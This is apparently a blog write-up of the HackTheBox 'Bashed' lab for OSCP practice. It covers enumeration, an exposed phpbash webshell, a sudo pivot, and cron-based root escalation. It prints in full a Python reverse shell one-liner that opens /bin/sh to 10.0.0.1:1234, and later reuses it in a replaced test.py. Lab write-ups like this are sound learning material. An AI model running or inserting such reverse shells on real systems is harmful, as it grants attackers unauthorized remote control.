Bashed — HackTheBox (HTB)
This is a HTB Box in TJ_Null’s List for OSCP Preparations. While there are numerous write-ups and videos that explain the concepts, I want to share my personal insights and approaches to solve this box. I’ve encountered several problems in my approach and I would like to share these learning moments with you. I also want to explain the privilege escalation in this box.
Lets begin with a simple NMAP scan. I scanned all the ports so that I don’t miss anything important.
sudo nmap -sC -sV -O -p- 10.10.10.68 -v -Pn
-sC : Checks for any vulnerability using nmap’s default scripts.
-sV : To determine the Service/Version Information.
-O : This enables the OS Detection
-v : Verbose
-Pn : (Not always necessary) Skips the host discovery stage.
There’s a single open port, which is port 80, running on Apache httpd 2.4.18. A quick research on the Apache version in exploit DB gives no immediate vulnerabilities associated with them. My usual approach is to initiate a Nikto scan side by side as they are super time consuming. At the moment, we haven’t found any exploitable vulnerabilities.
Lets run a Directory scan using Dirbuster.
Before diving into directory enumeration, I wanted to explore the website first, hoping to uncover any potential clues for this challenge. Checking the website before diving into directory enumeration turned out to be a smart move.
The author mentioned “phpbash” in the website. Clicking on the author’s blog led me to his GitHub page, where I found information about “phpbash” and it turned out to be a webshell! I was wondering if we could we find one here? Upon checking the dirbuster results, I found the “phpbash.php” file, just as I had predicted.
The discovered “phpbash” was a webshell and it grants access to the Linux environment through the web interface. This feature allowed for execution of commands without requiring SSH access. It was so cool and concerning from a security POV. To be honest, this turned out to be the simplest foothold I've encountered so far in HTB.
Now, it’s time to follow the usual routine. Checking the Linux version and running commands like “sudo -l.” I wanted to avoid the mistake I made in my previous blog of exploring potential vulnerabilities and kernel exploits based on the Linux version. It was super time consuming. This time, I’ll stick to the lesson I learned and proceed.
Turns out “scriptmanager” is allowed to run without requiring the sudo password. I was curious if “scriptmanager” is also a user? To confirm this, I’ll take a look at the “/etc/passwd” file.
Turns out scriptmanager is a user and has a dedicated folder in the “/home” directory. “arrexel” also has a directory within “/home”. Lets check both of them
And with that, we successfully get our first flag! Let’s explore the contents of “scriptmanager’s” directory to see if there are any interesting finds.
This is where things got a bit tricky, and I ended up spending some time trying to figure out what was going on. The directory I explored did not have any secrets. I was already ready to search for my ./LinEnum.sh script. But I made one final attempt by navigating to the root directory (“/”). This saved an entire transfer of ./LinEnum.sh. Pheww…
The “scripts” folder had permissions matching those of the scriptmanager user! Lets find out what secret this was hiding.
Ah, this is where I got into another time-consuming step. I remember that “scriptmanager” could execute sudo commands without a password. I thought of using “sudo -i -u scriptmanager” to switch to the “scriptmanager” user. However, upon executing and checking, I found myself still not having changed users.
I ended up searching through different web pages for a solution. But I ended up seeing a write-up that suggested using a reverse shell instead. So that was a spoiler and a lesson learned!
I decided to look for a suitable reverse shell from the PentestMonkey. I got a python version. Let me give a clear explanation of the script we are using.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); : Creates a socket “s” for establishing a network connection.
s.connect((“<IP>”,<PORT>)); : socket “s” connects to the IP address and port. This is where the reverse shell will connect to.
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); : In an easier explanation : These lines set up a channel between the remote machine and your machine. Shell outputs (stdout), errors (stderror) and inputs (stdin) gets sent back and forth through that channel. (0 for stdin, 1 for stdout, 2 for stderr streams).
In a more technical explanation : These lines duplicate the socket’s file descriptor, which is like creating a copy of the connection between your computer and the remote machine. This copy serves as a bridge basically, allowing information (stdin , stdout, stderr ) to flow back and forth between your computer and the shell on the remote machine.
p=subprocess.call([“/bin/sh”,”-i”]); : Uses the subprocess module to run the “/bin/sh” shell with the “-i” flag, which makes it interactive. This is where you can execute commands like a regular terminal.
After learning so much of theoretical stuff, let’s get practical. We need to set up a listener on our own machine. Make sure to replace the IP and port in the reverse shell with your actual IP address and the desired port. This way, you’ll be ready to catch the incoming reverse shell connection.
We got a reverse shell! Now, let’s “sudo -i -u scriptmanager” to see if it works as expected.
Surprisingly, “sudo -i -u scriptmanager” worked as intended. However, the exact reason wasn’t clear to me. I couldn’t find an explanation in my research. I’m open to editing this blog post in the future if I come across an answer. If any readers have insights into why this occurred, Do drop in a comment.
Anyways, lets continue to check the scripts folder.
There were two significant findings, Firstly, there’s a file named “test.py” with the owner and group set as “scriptmanager”. I must admit, the second discovery was pure luck. I noticed that the “test.txt” file had a recent modification time, while the other files appeared old. Is there a cronjob running??? I will check that in a moment. I wanted to check the secrets “test.py” and “test.txt” had.
“test.py” was a straightforward script that simply wrote “Testing 123!” into a file named “test.txt.” Although I couldn’t spot the cron job employed by the root user, It was definitely using one.
Given that we had control over “test.py”, If the root cron job was executing “test.py” regularly, could we exploit this to achieve an elevated reverse shell by replacing the old “test.py” file? I am about to use the same python reverse shell script we used in previous step.
Editing “test.py” in vi was hard, especially when alternatives like vim or nano aren’t available. SimpleHTTPServer to transfer the modified “test.py” file from our computer to the target machine was a easier way. I removed the “test.py” from the “/scripts” folder before transferring.
Setting up a HTTP server to transfer file.
Using wget, we can transfer the file.
Checking the content of the new “test.py”
Perfect. Let’s make sure to set up a listener on our machine and wait for the cron job to trigger the execution of “test.py”. This should grant us the reverse shell. Note that I’ll be using port 5555 for listening.
The cron job executed, resulting in our successful reverse shell with root access.
Even though we got a shell, I felt the curiosity to inspect the cron job.
Retrieving the last flag located at /root/root.txt.
Mistakes Made (Never do them Again!!!)
1 ) Take your time to explore the website. It might hold clues that could fasten your progress.
2 ) Make sure you’ve thoroughly checked all folders and directories. Sometimes, valuable information could be hiding in unexpected places.
3 ) Always use a reverse shell and work around with your terminal. This was something I still don’t understand. Maybe I’ll come across some blog to understand this.
4 ) Even if you didn’t find a relevant cronjob in this machine, it’s a good practice to inspect cronjobs in general. They can reveal good amount of secrets.
Hope you understood the challenge. Do check out my other blogs.
Don’t forget to give some claps if you reached here :) Follow me for more write-ups.